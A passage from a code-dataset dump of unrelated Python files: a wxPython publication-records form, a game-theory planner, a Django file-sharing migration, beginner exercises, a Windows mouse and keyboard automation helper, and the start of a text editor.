':\n self.message = wx.MessageDialog(None, u'Preencha o dia no campo '+field, 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n if date[3:5] == ' ':\n self.message = wx.MessageDialog(None, u'Preencha o mês no campo '+field, 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n if date[6:] == ' ':\n self.message = wx.MessageDialog(None, u'Preencha o ano no campo '+field, 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n if int(date[0:2]) < 1 or int(date[0:2]) > 31:\n self.message = wx.MessageDialog(None, u'No campo '+field+u' o dia deve estar entre 1 e 31!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n if int(date[3:5]) < 1 or int(date[3:5]) > 12:\n self.message = wx.MessageDialog(None, u'No campo '+field+u' o mês deve estar entre 1 e 12!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n if int(date[6:]) < 1900:\n self.message = wx.MessageDialog(None, u'No campo '+field+u' o ano deve estar no formato de quatro dígitos!E ser maior que 1900!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n if int(date[3:5]) == 2:\n if int(date[0:2]) > 29:\n self.message = wx.MessageDialog(None, u'Campo: '+field+u'\\nNo mês de Fevereiro nunca tem um dia maior que 29!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n else:\n try:\n datetime.date(int(date[6:10]), int(date[3:5]), int(date[0:2]))\n except ValueError:\n self.message = wx.MessageDialog(None, u'Campo: '+field+u'\\nEste ano Fevereiro não possui o dia 29!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n return 1\n\n def valida(self):\n\n if self.cbCompetencia.GetSelection() == -1:\n\n self.message = wx.MessageDialog(None, u'Selecione uma opção no campo Competência', 'Info', wx.OK)\n self.cbCompetencia.SetFocus()\n self.message.ShowModal()\n return 0\n\n if self.cbNumeroProcesso.GetSelection() == -1:\n\n self.message = wx.MessageDialog(None, u'Selecione uma opção no campo Número Proc. Licitatório', 'Info', wx.OK)\n self.cbNumeroProcesso.SetFocus()\n self.message.ShowModal()\n return 0\n \n if not self.validateDate(self.tcDataPublicacao.GetValue(), u\"Data Publicação\"):\n self.tcDataPublicacao.SelectAll()\n self.tcDataPublicacao.SetFocus()\n return 0\n\n if self.tcVeiculoComunicacao.GetValue() == u'':\n\n self.message = wx.MessageDialog(None, u'O campo Veículo de Comunicação deve ser preenchido!', 'Info', wx.OK)\n self.tcVeiculoComunicacao.SetFocus()\n self.message.ShowModal()\n return 0\n\n return 1\n\n def salvarPublicacao(self, event):\n\n if self.valida():\n\n Publicacao(numeroProcesso=unicode(self.cbNumeroProcesso.GetValue()),\n dataPublicacao=unicode(self.tcDataPublicacao.GetValue()),\n veiculoComunicacao=unicode(self.tcVeiculoComunicacao.GetValue()),\n competencia=unicode(self.cbCompetencia.GetValue())\n )\n\n session.commit()\n self.message = wx.MessageDialog(None, u'Publicação salva com sucesso!', 'Info', wx.OK)\n self.message.ShowModal()\n self.insereInCtrList(None)\n self.quitNovoPublicacao(None)\n\n \n def vizualizaPublicacao(self, event, idPublicacao):\n\n if idPublicacao is None:\n self.message = wx.MessageDialog(None, u'Nenhuma publicação foi selecionada! Selecione uma na lista!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n self.publicacao = Publicacao.query.filter_by(id=idPublicacao).first()\n\n self.toolBarControler(False, False, False, False)\n\n self.windowVizualizapublicacao = wx.MiniFrame(parent=self, id=wx.ID_ANY, size=(500, 270), pos=(300, 170), title=u'Editar - Publicação', style= wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN)\n self.panelVizualizaPublicacao = wx.Panel(self.windowVizualizapublicacao, wx.ID_ANY)\n\n self.tcId = wx.TextCtrl(self.panelVizualizaPublicacao, -1, pos=(0, 0), size=(0, 0))\n self.tcId.SetValue(unicode(self.publicacao.id))\n\n self.stCompetencia = wx.StaticText(self.panelVizualizaPublicacao, -1, u'Competência', pos=(10, 5))\n self.cbCompetencia = wx.ComboBox(self.panelVizualizaPublicacao, -1, pos=(10, 25), size=(200, -1), choices=self.choicesCompetencias, style=wx.CB_READONLY)\n self.cbCompetencia.Bind(wx.EVT_COMBOBOX, self.insereNumeroProcesso)\n self.cbCompetencia.SetValue(self.publicacao.competencia)\n\n wx.StaticBox(self.panelVizualizaPublicacao, -1, pos=(5, 50), size=(480, 140))\n\n self.stNumeroProcesso = wx.StaticText(self.panelVizualizaPublicacao, -1, u'Número Proc. Licitatório', pos=(10, 70))\n self.cbNumeroProcesso = wx.ComboBox(self.panelVizualizaPublicacao, -1, pos=(10, 90), size=(100, -1), style=wx.CB_READONLY)\n self.insereNumeroProcesso(None)\n self.cbNumeroProcesso.SetValue(self.publicacao.numeroProcesso)\n\n self.stDataPublicacao = wx.StaticText(self.panelVizualizaPublicacao, -1, u'Data Publicação', pos=(160, 70))\n self.tcDataPublicacao = masked.TextCtrl(self.panelVizualizaPublicacao, -1, mask=\"##/##/####\")\n self.tcDataPublicacao.SetSize((80, -1))\n self.tcDataPublicacao.SetPosition((160, 90))\n #self.tcDataPublicacao.Bind(wx.EVT_KILL_FOCUS, self.adicionaSequencia)\n self.tcDataPublicacao.SetValue(self.publicacao.dataPublicacao)\n \n self.stVeiculoComunicacao = wx.StaticText(self.panelVizualizaPublicacao, -1, u'Veículo de Comunicação', pos=(10, 130))\n self.tcVeiculoComunicacao = wx.TextCtrl(self.panelVizualizaPublicacao, -1, pos=(10, 150), size=(320, -1), style=wx.ALIGN_LEFT)\n self.tcVeiculoComunicacao.SetMaxLength(50)\n self.tcVeiculoComunicacao.SetValue(self.publicacao.veiculoComunicacao)\n\n self.btnSalvar = wx.Button(self.panelVizualizaPublicacao, -1, u\"Alterar\", pos=(150, 210))\n self.btnSalvar.Bind(wx.EVT_BUTTON, self.editarPublicacao)\n self.btnCancelar = wx.Button(self.panelVizualizaPublicacao, -1, u\"Cancelar\", pos=(250, 210))\n self.btnCancelar.Bind(wx.EVT_BUTTON, self.quitVizualizaPublicacao)\n\n #Bind\n self.windowVizualizapublicacao.Bind(wx.EVT_CLOSE, self.quitNovoPublicacao)\n\n self.windowVizualizapublicacao.Centre()\n self.windowVizualizapublicacao.Show()\n\n def quitVizualizaPublicacao(self, event):\n\n self.toolBarControler(True, True, True, True)\n self.windowVizualizapublicacao.Destroy()\n\n def editarPublicacao(self, event):\n\n if self.valida():\n\n self.publicacao.numeroProcesso = unicode(self.cbNumeroProcesso.GetValue())\n self.publicacao.dataPublicacao = unicode(self.tcDataPublicacao.GetValue())\n self.publicacao.veiculoComunicacao = unicode(self.tcVeiculoComunicacao.GetValue())\n self.publicacao.competencia = unicode(self.cbCompetencia.GetValue())\n\n session.commit()\n self.message = wx.MessageDialog(None, u'Publicação alterada com sucesso!', 'Info', wx.OK)\n self.message.ShowModal()\n self.insereInCtrList(None)\n self.quitVizualizaPublicacao(None)\n\n def excluiPublicacao(self, event, idPublicacao):\n\n if idPublicacao is None:\n self.message = wx.MessageDialog(None, u'Selecione um item na lista!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n remove_dial = wx.MessageDialog(None, u'Tem certeza que deseja excluir esta publicação?', u'Excluir - Publicação', wx.YES_NO | wx.NO_DEFAULT | wx.ICON_QUESTION)\n ret = remove_dial.ShowModal()\n if ret == wx.ID_YES:\n self.publicacao = Publicacao.query.filter_by(id=idPublicacao).first()\n self.publicacao.delete()\n session.commit()\n self.insereInCtrList(None)\n self.anulaIdItemSelecionado(None)\n self.message = wx.MessageDialog(None, u'Publicação excluída com sucesso!', 'Info', wx.OK)\n self.message.ShowModal()\n\n def geraArquivoWindow(self, event):\n\n self.toolBarControler(False, False, False, False)\n\n self.windowGeraArquivo = wx.MiniFrame(parent=self, id=wx.ID_ANY, size=(680, 470), pos=(300, 170), title=u\"Gerar Arquivo Publicação\", style= wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN)\n self.panelGeraArquivo = wx.Panel(self.windowGeraArquivo, wx.ID_ANY)\n\n wx.StaticBox(self.panelGeraArquivo, -1, pos=(0, 0), size=(660, 60))\n\n choicesCompetencias = self.choicesCompetencias\n choicesCompetencias.append(u'Todos')\n self.stGeraArquivoCompetencia = wx.StaticText(self.panelGeraArquivo, -1, u'Publicação', pos=(10, 10), style=wx.ALIGN_LEFT)\n self.cbGeraArquivoCompetencia = wx.ComboBox(self.panelGeraArquivo, -1, pos=(10, 30), size=(250, -1), choices=choicesCompetencias, style=wx.CB_READONLY)\n self.cbGeraArquivoCompetencia.Bind(wx.EVT_COMBOBOX, self.inserePublicacaoPorCompetencia)\n\n self.competenciaAtual = None\n self.itensGeraArquivoListCtrl = []\n self.itensParaArquivosListCtrl = []\n\n wx.StaticText(self.panelGeraArquivo, -1, u'Inserir:', pos=(10, 70))\n self.publicacaoGeraArquivoListCtrl = wx.ListCtrl(self.panelGeraArquivo, wx.ID_ANY, pos=(10, 90), size=(250, 300), style=wx.LC_REPORT)\n self.publicacaoGeraArquivoListCtrl.InsertColumn(0, u'Licitação', width=100)\n self.publicacaoGeraArquivoListCtrl.InsertColumn(1, u'Data Publicação', width=80)\n self.publicacaoGeraArquivoListCtrl.InsertColumn(2, u'Veículo', width=70)\n self.publicacaoGeraArquivoListCtrl.InsertColumn(3, u'', width=0)\n self.publicacaoGeraArquivoListCtrl.Bind(wx.EVT_LIST_ITEM_SELECTED, self.selecionaItensPublicacaoGeraArquivos)\n\n self.btnGeraArquivo = wx.Button(self.panelGeraArquivo, -1, u\">>\", pos=(290, 200))\n self.btnGeraArquivo.Bind(wx.EVT_BUTTON, self.insereGeraArquivo)\n self.btnRemoveGeraArquivo = wx.Button(self.panelGeraArquivo, -1, u\"<<\", pos=(290, 250))\n self.btnRemoveGeraArquivo.Bind(wx.EVT_BUTTON, self.removeGeraArquivo)\n\n wx.StaticText(self.panelGeraArquivo, -1, u'Gerar Arquivo Com:', pos=(400, 70))\n self.publicacaoParaArquivoListCtrl = wx.ListCtrl(self.panelGeraArquivo, wx.ID_ANY, pos=(400, 90), size=(250, 300), style=wx.LC_REPORT)\n self.publicacaoParaArquivoListCtrl.InsertColumn(0, u'Licitação', width=100)\n self.publicacaoParaArquivoListCtrl.InsertColumn(1, u'Data Publicação', width=80)\n self.publicacaoParaArquivoListCtrl.InsertColumn(2, u'Veículo', width=70)\n self.publicacaoParaArquivoListCtrl.InsertColumn(3, u'', width=0)\n self.publicacaoParaArquivoListCtrl.Bind(wx.EVT_LIST_ITEM_SELECTED, self.selecionaItensPublicacaoParaArquivo)\n\n self.btnGerarArquivo = wx.Button(self.panelGeraArquivo, -1, \"Gerar Arquivo\", pos=(300, 400))\n self.btnGerarArquivo.Bind(wx.EVT_BUTTON, self.geraArquivoDialog)\n self.windowGeraArquivo.Bind(wx.EVT_CLOSE, self.quitGeraArquivo)\n\n self.windowGeraArquivo.Centre()\n self.windowGeraArquivo.Show()\n\n def quitGeraArquivo(self, event):\n\n self.toolBarControler(True, True, True, True)\n self.windowGeraArquivo.Destroy()\n\n def inserePublicacaoPorCompetencia(self, event):\n\n publicacoes = []\n if self.competenciaAtual == unicode(self.cbGeraArquivoCompetencia.GetValue()):\n return 0\n\n elif self.cbGeraArquivoCompetencia.GetValue() != u'Todos':\n\n publicacoes = Publicacao.query.filter_by(competencia=self.cbGeraArquivoCompetencia.GetValue()).all()\n else:\n\n publicacoes = Publicacao.query.all()\n\n self.publicacaoGeraArquivoListCtrl.DeleteAllItems()\n\n if not publicacoes:\n self.message = wx.MessageDialog(None, u'Não existe publicações para esta competência!', 'Info', wx.OK)\n self.message.ShowModal()\n\n else:\n\n if len(publicacoes) == self.publicacaoParaArquivoListCtrl.GetItemCount():\n pass\n\n else:\n\n for publicacao in publicacoes:\n igual = False\n if self.publicacaoParaArquivoListCtrl.GetItemCount() == 0:\n index = self.publicacaoGeraArquivoListCtrl.InsertStringItem(sys.maxint, unicode(publicacao.numeroProcesso))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 1, unicode(publicacao.dataPublicacao))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 2, unicode(publicacao.veiculoComunicacao))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 3, unicode(publicacao.id))\n igual = True\n\n else:\n\n for x in range(self.publicacaoParaArquivoListCtrl.GetItemCount()):\n\n if publicacao.numeroProcesso == unicode(self.publicacaoParaArquivoListCtrl.GetItem(x, 0).GetText()) and publicacao.dataPublicacao == unicode(self.publicacaoParaArquivoListCtrl.GetItem(x, 1).GetText()) and publicacao.veiculoComunicacao == unicode(self.publicacaoParaArquivoListCtrl.GetItem(x, 2).GetText()):\n igual = True\n\n if not igual:\n\n index = self.publicacaoGeraArquivoListCtrl.InsertStringItem(sys.maxint, unicode(publicacao.numeroProcesso))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 1, unicode(publicacao.dataPublicacao))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 2, unicode(publicacao.veiculoComunicacao))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 3, unicode(publicacao.id))\n\n self.competenciaAtual = unicode(self.cbGeraArquivoCompetencia.GetValue())\n\n def selecionaItensPublicacaoGeraArquivos(self, event):\n\n item = self.publicacaoGeraArquivoListCtrl.GetFirstSelected()\n self.itensGeraArquivoListCtrl = []\n while item != -1:\n self.itensGeraArquivoListCtrl.append(item)\n item = self.publicacaoGeraArquivoListCtrl.GetNextSelected(item)\n\n def selecionaItensPublicacaoParaArquivo(self, event):\n\n item = self.publicacaoParaArquivoListCtrl.GetFirstSelected()\n self.itensParaArquivosListCtrl = []\n while item != -1:\n self.itensParaArquivosListCtrl.append(item)\n item = self.publicacaoParaArquivoListCtrl.GetNextSelected(item)\n\n def insereGeraArquivo(self, event):\n\n if not self.itensGeraArquivoListCtrl:\n\n self.message = wx.MessageDialog(None, u'Selecione os publicacoes a serem inseridos!', 'Info', wx.OK)\n self.message.ShowModal()\n\n else:\n\n for item in self.itensGeraArquivoListCtrl:\n\n index = self.publicacaoParaArquivoListCtrl.InsertStringItem(sys.maxint, unicode(self.publicacaoGeraArquivoListCtrl.GetItem(item, 0).GetText()))\n self.publicacaoParaArquivoListCtrl.SetStringItem(index, 1, unicode(self.publicacaoGeraArquivoListCtrl.GetItem(item, 1).GetText()))\n self.publicacaoParaArquivoListCtrl.SetStringItem(index, 2, unicode(self.publicacaoGeraArquivoListCtrl.GetItem(item, 2).GetText()))\n self.publicacaoParaArquivoListCtrl.SetStringItem(index, 3, unicode(self.publicacaoGeraArquivoListCtrl.GetItem(item, 3).GetText()))\n\n for item in reversed(self.itensGeraArquivoListCtrl):\n self.publicacaoGeraArquivoListCtrl.DeleteItem(item)\n\n self.itensGeraArquivoListCtrl = []\n\n def removeGeraArquivo(self, event):\n\n if not self.itensParaArquivosListCtrl:\n self.message = wx.MessageDialog(None, u'Selecione os publicacoes a serem removidos!', 'Info', wx.OK)\n self.message.ShowModal()\n else:\n\n for item in self.itensParaArquivosListCtrl:\n\n index = self.publicacaoGeraArquivoListCtrl.InsertStringItem(sys.maxint, unicode(self.publicacaoParaArquivoListCtrl.GetItem(item, 0).GetText()))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 1, unicode(self.publicacaoParaArquivoListCtrl.GetItem(item, 1).GetText()))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 2, unicode(self.publicacaoParaArquivoListCtrl.GetItem(item, 2).GetText()))\n self.publicacaoGeraArquivoListCtrl.SetStringItem(index, 3, unicode(self.publicacaoParaArquivoListCtrl.GetItem(item, 3).GetText()))\n\n for item in reversed(self.itensParaArquivosListCtrl):\n self.publicacaoParaArquivoListCtrl.DeleteItem(item)\n\n self.itensParaArquivosListCtrl = []\n\n def geraArquivoDialog(self, event):\n\n if self.publicacaoParaArquivoListCtrl.GetItemCount() == 0:\n\n self.message = wx.MessageDialog(None, u'Selecione os publicacoes para gerar o arquivo!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n else:\n\n dlg = wx.FileDialog(self, message=u\"Salvar \", defaultDir=\"\", defaultFile=\"PUBLICACAO.REM\", wildcard=\"Arquivo de Remessa (*.REM)|*.REM\", style=wx.SAVE)\n if dlg.ShowModal() == wx.ID_OK:\n\n self.path = dlg.GetPath()\n if os.path.exists(self.path):\n\n remove_dial = wx.MessageDialog(None, u'Já existe um arquivo '+dlg.GetFilename()+u\".\\n Deseja substituí-lo?\", 'Sair', wx.YES_NO | wx.NO_DEFAULT | wx.ICON_QUESTION)\n ret = remove_dial.ShowModal()\n if ret == wx.ID_YES:\n\n #VERIFICAR AS DEPENDENCIAS AKI DEPOIS\n #self.message = wx.MessageDialog(None, u'Após criar o arquivo de convênios é necessário gerar o arquivo de Participantes de Convênio!\\n', 'Info', wx.OK | wx.ICON_EXCLAMATION)\n #self.message.ShowModal()\n\n if self.geraArquivo():\n self.message = wx.MessageDialog(None, u'Arquivo de Publicações gerado com sucesso!', 'Info', wx.OK)\n self.message.ShowModal()\n \n else:\n self.message = wx.MessageDialog(None, u'Houve um erro na geração do arquivo!\\nVerifique se você tem permissão de escrita ou se o arquivo já se encontra aberto!', 'Error', wx.OK)\n self.message.ShowModal()\n \n else:\n pass\n\n else:\n if self.geraArquivo():\n self.message = wx.MessageDialog(None, u'Arquivo de Publicações com sucesso!', 'Info', wx.OK)\n self.message.ShowModal()\n \n else:\n self.message = wx.MessageDialog(None, u'Houve um erro na geração do arquivo!\\nVerifique se você tem permissão de escrita ou se o arquivo já se encontra aberto!', 'Error', wx.OK)\n self.message.ShowModal()\n \n\n def geraArquivo(self):\n\n f = codecs.open(self.path, \"w\", \"utf-8\")\n\n for x in range(self.publicacaoParaArquivoListCtrl.GetItemCount()):\n\n try:\n\n idEmpenho = int(self.publicacaoParaArquivoListCtrl.GetItem(x, 3).GetText())\n publicacao = Publicacao.query.filter_by(id=idEmpenho).first()\n\n f.write(unicode(publicacao.numeroProcesso.ljust(18).replace(\"'\", \"\").replace(\"\\\"\", \"\")))\n f.write(unicode(self.transformaData(publicacao.dataPublicacao)))\n f.write(unicode(publicacao.veiculoComunicacao).ljust(50).replace(\"'\", \"\").replace(\"\\\"\", \"\"))\n f.write(unicode(u'\\n'))\n\n except:\n return 0\n return 1\n\n def transformaData(self, data):\n\n if data == \" / / \":\n return '00000000'\n else:\n return data[6:]+data[3:5]+data[0:2]\n","sub_path":"WindowPublicacao.py","file_name":"WindowPublicacao.py","file_ext":"py","file_size_in_byte":28776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"281145701","text":"from competitive import Competitive\nfrom cooperative import Cooperative\nimport random\nimport math\nfrom scipy.special import log_softmax, softmax\n\nclass Planner():\n\n def __init__(self, environment, environment2, p_coop=1, p_comp=1):\n max_iter = 1000\n self.competitive_model1 = Competitive(environment, environment2, max_iter)\n self.competitive_model1.train()\n self.competitive_model2 = Competitive(environment2, environment, max_iter)\n self.competitive_model2.train()\n self.cooperative_model1 = Cooperative(environment, max_iter)\n self.cooperative_model1.train()\n self.cooperative_model2 = Cooperative(environment2, max_iter)\n self.cooperative_model2.train()\n self.models1 = [self.cooperative_model1, self.competitive_model1]\n self.models2 = [self.cooperative_model2, self.competitive_model2]\n self.environment1 = environment\n self.environment2 = environment2\n self.p_coop = p_coop\n self.p_comp = p_comp\n\n \"\"\"\n 0: coop\n 1: comp\n \"\"\"\n def infer(self, rounds1, rounds2):\n model2 = self.models2[self.intention(rounds1, self.cooperative_model1, self.competitive_model1)]\n model1 = self.models1[self.intention(rounds2, self.cooperative_model2, self.competitive_model2)]\n\n state = self.environment1.init_state\n while(True):\n a1 = model1.next_move(state)\n a2 = model2.next_move((state[1], state[0]))\n next_states = []\n next_probs = []\n for s in self.environment1.states:\n if (state, a1, a2, s) in self.environment1.transitions:\n next_states.append(s)\n next_probs.append(self.environment1.transitions[(state, a1, a2, s)])\n next_state = random.choices(next_states, next_probs)[0]\n transition = (state, a1, a2, next_state)\n if next_state == self.environment1.END_STATE:\n if transition in self.environment1.collab_state:\n return self.environment1.collab_state[transition]\n else:\n return -100\n state = next_state\n\n \n def intention(self, rounds, coop_model, comp_model):\n if len(rounds) == 0:\n return random.randint(0,1)\n total_coop = 0\n total_comp = 0\n for round in rounds:\n coop = coop_model.step(round) + math.log(self.p_coop)\n comp = comp_model.step(round) + math.log(self.p_comp)\n probs = log_softmax([coop, comp])\n total_coop += probs[0]\n total_comp += probs[1]\n probs = softmax([total_coop, total_comp])\n if random.random() < probs[0]:\n return 0\n else: \n return 1\n\n\n\n\n\n","sub_path":"planner.py","file_name":"planner.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"581824459","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('auth', '0006_require_contenttypes_0002'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='File',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('display_name', models.CharField(max_length=255)),\n ('file_name', models.CharField(unique=True, max_length=32)),\n ('uploaded', models.DateTimeField()),\n ],\n ),\n migrations.CreateModel(\n name='FileOwner',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ],\n ),\n migrations.CreateModel(\n name='GroupMembership',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('joined', models.DateTimeField()),\n ('can_upload', models.BooleanField()),\n ],\n ),\n migrations.CreateModel(\n name='CustomUser',\n fields=[\n ('fileowner_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='file_share.FileOwner')),\n ('password', models.CharField(max_length=128, verbose_name='password')),\n ('last_login', models.DateTimeField(null=True, verbose_name='last login', blank=True)),\n ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')),\n ('email', models.EmailField(unique=True, max_length=255)),\n ('first_name', models.CharField(max_length=50, blank=True)),\n ('last_name', models.CharField(max_length=50, blank=True)),\n ('is_active', models.BooleanField(default=False)),\n ('is_staff', models.BooleanField(default=False)),\n ],\n options={\n 'abstract': False,\n },\n bases=('file_share.fileowner', models.Model),\n ),\n migrations.CreateModel(\n name='Group',\n fields=[\n ('fileowner_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='file_share.FileOwner')),\n ('name', models.CharField(max_length=80)),\n ('is_closed', models.BooleanField(default=False)),\n ],\n bases=('file_share.fileowner',),\n ),\n migrations.AddField(\n model_name='groupmembership',\n name='user',\n field=models.ForeignKey(to=settings.AUTH_USER_MODEL),\n ),\n migrations.AddField(\n model_name='file',\n name='recipient',\n field=models.ForeignKey(related_name='received_files', to='file_share.FileOwner'),\n ),\n migrations.AddField(\n model_name='file',\n name='uploaded_by',\n field=models.ForeignKey(related_name='uploaded_files', to=settings.AUTH_USER_MODEL),\n ),\n migrations.AddField(\n model_name='groupmembership',\n name='group',\n field=models.ForeignKey(to='file_share.Group'),\n ),\n migrations.AddField(\n model_name='group',\n name='users',\n field=models.ManyToManyField(to=settings.AUTH_USER_MODEL, through='file_share.GroupMembership'),\n ),\n migrations.AddField(\n model_name='customuser',\n name='groups',\n field=models.ManyToManyField(related_query_name='user', related_name='user_set', to='auth.Group', blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', verbose_name='groups'),\n ),\n migrations.AddField(\n model_name='customuser',\n name='user_permissions',\n field=models.ManyToManyField(related_query_name='user', related_name='user_set', to='auth.Permission', blank=True, help_text='Specific permissions for this user.', verbose_name='user permissions'),\n ),\n ]\n","sub_path":"file_share/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"444115786","text":"# Write a Python program to display the examination schedule. (extract the date from exam_st_date).\r\n\r\n'''\r\n\r\nexam_st_date = (11, 12, 2014)\r\nSample Output : The examination will start from : 11 / 12 / 2014\r\n\r\n'''\r\n\r\nexam_st_date = (11, 12, 2014)\r\nlist = list(exam_st_date)\r\n\r\nprint(\"The examination will start from : \", str(list[0]), \" / \", str(list[1]), \" / \", str(list[2]))","sub_path":"ex9.py","file_name":"ex9.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"368813039","text":"import random\n# re为正则校验\nimport re\nguess = input('请输入我脑海中的数字: ')\ntarget = random.randint(1, 20)\nis_first_correct = False\ns = re.findall(r'\\D', guess)\nwhile len(s) != 0:\n guess = input('你妹啊,输入整数好吗: ')\n s = re.findall(r'\\D', guess)\nif int(guess) == target:\n print('恭喜你,猜对啦')\n is_first_correct = True\nwhile int(guess) != target:\n if int(guess) < target:\n print('小了')\n elif int(guess) > target:\n print('大了')\n else:\n print('恭喜你,猜对啦')\n guess = input('重新试试: ')\n s = re.findall(r'\\D', guess)\n while len(s) != 0:\n guess = input('你妹啊,输入整数好吗: ')\n s = re.findall(r'\\D', guess)\nif not is_first_correct:\n print('恭喜你,猜对啦')\nprint('游戏结束,不玩啦~')\n\n","sub_path":"guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"136716012","text":"import win32gui\r\nimport win32con\r\nimport win32api\r\nimport time\r\nfrom ctypes import *\r\n\r\nclass EventsImitater():\r\n def mouse_leftclick(self):#单击\r\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)\r\n # 在当前位置按下鼠标左键\r\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)\r\n # 在当前位置松开鼠标左键\r\n def mouse_rightclick(self):#右键\r\n win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0)\r\n win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0)\r\n def double_click(self):#双击\r\n i = 0\r\n while i <= 1:\r\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)\r\n i += 1\r\n time.sleep(0.05)\r\n def wheel_down(self):#下拉\r\n win32api.mouse_event(win32con.MOUSEEVENTF_WHEEL, 0, 0, 1)\r\n def wheel_up(self):#上滚\r\n win32api.mouse_event(win32con.MOUSEEVENTF_WHEEL, 0, 0, 1)\r\n def read_mouseposition(self):\r\n i = c_int(3)\r\n pi = pointer(i)\r\n win32api.MessageBox(0,str(pi[0])+\"秒后读取鼠标位置!\", \"注意!\", win32con.MB_ICONASTERISK)\r\n for n in range(3, 0, -1):\r\n pi[0] -= 1\r\n print(pi[0])\r\n time.sleep(1)\r\n pos = win32api.GetCursorPos()\r\n win32api.MessageBox(0, str(pos[0])+\",\"+str(pos[1]), \"鼠标位置\", win32con.MB_OK)\r\n return pos\r\n def move_mouse(self,new_x ,new_y):\r\n if new_y is not None and new_x is not None:\r\n point = (new_x, new_y)\r\n win32api.SetCursorPos(point)\r\n self.x = new_x\r\n self.y = new_y\r\n def key_input(self,input_words):\r\n for word in input_words:\r\n win32api.keybd_event(VK_CODE[word], 0, 0, 0)\r\n win32api.keybd_event(VK_CODE[word], 0, win32con.KEYEVENTF_KEYUP, 0)\r\n time.sleep(0.05)\r\n def key_event(self,input_key):\r\n win32api.keybd_event(VK_CODE[word], 0, 0, 0)\r\n win32api.keybd_event(VK_CODE[word], 0, win32con.KEYEVENTF_KEYUP, 0)\r\n time.sleep(1)\r\n# testcode\r\n# test = EventsImitater()\r\n# pos = test.read_mouseposition()\r\n# i = 10\r\n# while i:\r\n# test.move_mouse(pos[0],pos[1])\r\n# i -= 1\r\n# time.sleep(1)\r\n\r\n","sub_path":"PersonalTools.py","file_name":"PersonalTools.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"637234967","text":"# MIT License\n\n# Original work Copyright (c) 2018 François Girault\n# Modified work Copyright 2020 Morten Eek\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\nimport os\nimport model\nimport settings\nimport theme\nimport commands\nimport threading\nimport pickle\nimport sys\nimport tkinter as tk\nfrom commander import Commander\nfrom sidebar import SideBar\nfrom editor import EditorFrame\nfrom statusbar import StatusBar\nfrom xmlrpc.server import 